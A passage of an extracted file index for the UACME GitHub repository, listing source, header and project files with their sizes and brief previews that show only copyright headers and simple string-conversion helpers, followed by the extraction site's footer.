    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2025"
  },
  {
    "path": "Source/Shared/ldr.h",
    "chars": 740,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2017"
  },
  {
    "path": "Source/Shared/libinc.h",
    "chars": 910,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018\n*\n*  T"
  },
  {
    "path": "Source/Shared/minirtl.h",
    "chars": 4209,
    "preview": "/*\nModule name:\n\tminirtl.h\n\nDescription:\n\theader for string handling and conversion routines\n\nDate:\n\t4 Oct 2020\n*/\n\n#pra"
  },
  {
    "path": "Source/Shared/ntos/ntbuilds.h",
    "chars": 2074,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2021 - 2025"
  },
  {
    "path": "Source/Shared/ntos/ntos.h",
    "chars": 428238,
    "preview": "/************************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 -"
  },
  {
    "path": "Source/Shared/ntos/ntsxs.h",
    "chars": 18138,
    "preview": "/************************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 -"
  },
  {
    "path": "Source/Shared/rtltypes.h",
    "chars": 795,
    "preview": "#pragma once\n\n#ifndef _WCHAR_T_DEFINED\ntypedef unsigned short wchar_t;\n#define _WCHAR_T_DEFINED\n#endif  /* _WCHAR_T_DEFI"
  },
  {
    "path": "Source/Shared/shared.h",
    "chars": 1165,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2018 - 2021"
  },
  {
    "path": "Source/Shared/strtoi.c",
    "chars": 675,
    "preview": "#include \"rtltypes.h\"\n\nint strtoi_a(char *s)\n{\n\tint\t\ta = 0, sign;\n\tchar\tc;\n\n\tif (s == 0)\n\t\treturn 0;\n\n\tswitch (*s) {\n\tca"
  },
  {
    "path": "Source/Shared/strtoul.c",
    "chars": 447,
    "preview": "#include \"rtltypes.h\"\n\nunsigned long strtoul_a(char *s)\n{\n\tunsigned long\ta = 0;\n\tchar\t\t\tc;\n\n\tif (s == 0)\n\t\treturn 0;\n\n\tw"
  },
  {
    "path": "Source/Shared/u64tohex.c",
    "chars": 547,
    "preview": "#include \"rtltypes.h\"\n\nsize_t u64tohex_a(unsigned long long x, char *s)\n{\n\tchar\tp;\n\tsize_t\tc;\n\n\tif (s==0)\n\t\treturn 16;\n\n"
  },
  {
    "path": "Source/Shared/u64tostr.c",
    "chars": 576,
    "preview": "#include \"rtltypes.h\"\n\nsize_t u64tostr_a(unsigned long long x, char *s)\n{\n\tunsigned long long\tt = x;\n\tsize_t\ti, r=1;\n\n\tw"
  },
  {
    "path": "Source/Shared/ultohex.c",
    "chars": 523,
    "preview": "#include \"rtltypes.h\"\n\nsize_t ultohex_a(unsigned long x, char *s)\n{\n\tchar\tp;\n\tsize_t\tc;\n\n\tif (s==0)\n\t\treturn 8;\n\n\tfor (c"
  },
  {
    "path": "Source/Shared/ultostr.c",
    "chars": 554,
    "preview": "#include \"rtltypes.h\"\n\nsize_t ultostr_a(unsigned long x, char *s)\n{\n\tunsigned long\tt=x;\n\tsize_t\t\t\ti, r=1;\n\n\twhile ( t >="
  },
  {
    "path": "Source/Shared/util.c",
    "chars": 59860,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2025"
  },
  {
    "path": "Source/Shared/util.h",
    "chars": 5181,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2025"
  },
  {
    "path": "Source/Shared/windefend.c",
    "chars": 6938,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2026"
  },
  {
    "path": "Source/Shared/windefend.h",
    "chars": 752,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2020"
  },
  {
    "path": "Source/Yuubari/Yuubari.vcxproj",
    "chars": 10381,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "Source/Yuubari/Yuubari.vcxproj.filters",
    "chars": 5343,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "Source/Yuubari/Yuubari.vcxproj.user",
    "chars": 824,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
    "path": "Source/Yuubari/appinfo.c",
    "chars": 19227,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Yuubari/appinfo.h",
    "chars": 2351,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 202"
  },
  {
    "path": "Source/Yuubari/basic.c",
    "chars": 2944,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Yuubari/basic.h",
    "chars": 761,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 202"
  },
  {
    "path": "Source/Yuubari/comobj.c",
    "chars": 18452,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Yuubari/comobj.h",
    "chars": 1730,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 201"
  },
  {
    "path": "Source/Yuubari/consts.h",
    "chars": 2914,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2017 - 2026"
  },
  {
    "path": "Source/Yuubari/cui.c",
    "chars": 6291,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2016 - 2025"
  },
  {
    "path": "Source/Yuubari/cui.h",
    "chars": 1154,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2016 - 2018"
  },
  {
    "path": "Source/Yuubari/fusion.c",
    "chars": 26425,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2026"
  },
  {
    "path": "Source/Yuubari/fusion.h",
    "chars": 1975,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 202"
  },
  {
    "path": "Source/Yuubari/global.h",
    "chars": 1837,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2022"
  },
  {
    "path": "Source/Yuubari/logger.c",
    "chars": 2381,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Yuubari/logger.h",
    "chars": 731,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 201"
  },
  {
    "path": "Source/Yuubari/main.c",
    "chars": 15039,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2026"
  },
  {
    "path": "Source/Yuubari/sup.c",
    "chars": 7911,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 2025"
  },
  {
    "path": "Source/Yuubari/sup.h",
    "chars": 1772,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 202"
  },
  {
    "path": "Source/Yuubari/tests/test_fusion.c",
    "chars": 637,
    "preview": "/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2015 - 2017"
  },
  {
    "path": "Source/Yuubari/tests/test_fusion.h",
    "chars": 599,
    "preview": "#/*******************************************************************************\n*\n*  (C) COPYRIGHT AUTHORS, 2014 - 201"
  },
  {
    "path": "Source/Yuubari/wintrustex.h",
    "chars": 1505,
    "preview": "#pragma once\n\ntypedef enum _SIGNATURE_INFO_TYPE {\n    SIT_UNKNOWN = 0x0,\n    SIT_AUTHENTICODE = 0x1,\n    SIT_CATALOG = 0"
  },
  {
    "path": "Source/uacme.sln",
    "chars": 11878,
    "preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.2.3261"
  },
  {
    "path": "appveyor.yml",
    "chars": 275,
    "preview": "version: 1.0.{build}\nbranches:\n  only:\n  - master\n\nimage: Visual Studio 2022\n\nconfiguration: Release\nplatform: x64\n\nclon"
  }
]

// ... and 9 more files (download for full content)

About this extraction

This page contains the full source code of the hfiref0x/UACME GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 168 files (1.6 MB), approximately 488.8k tokens, and a symbol index with 1226 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!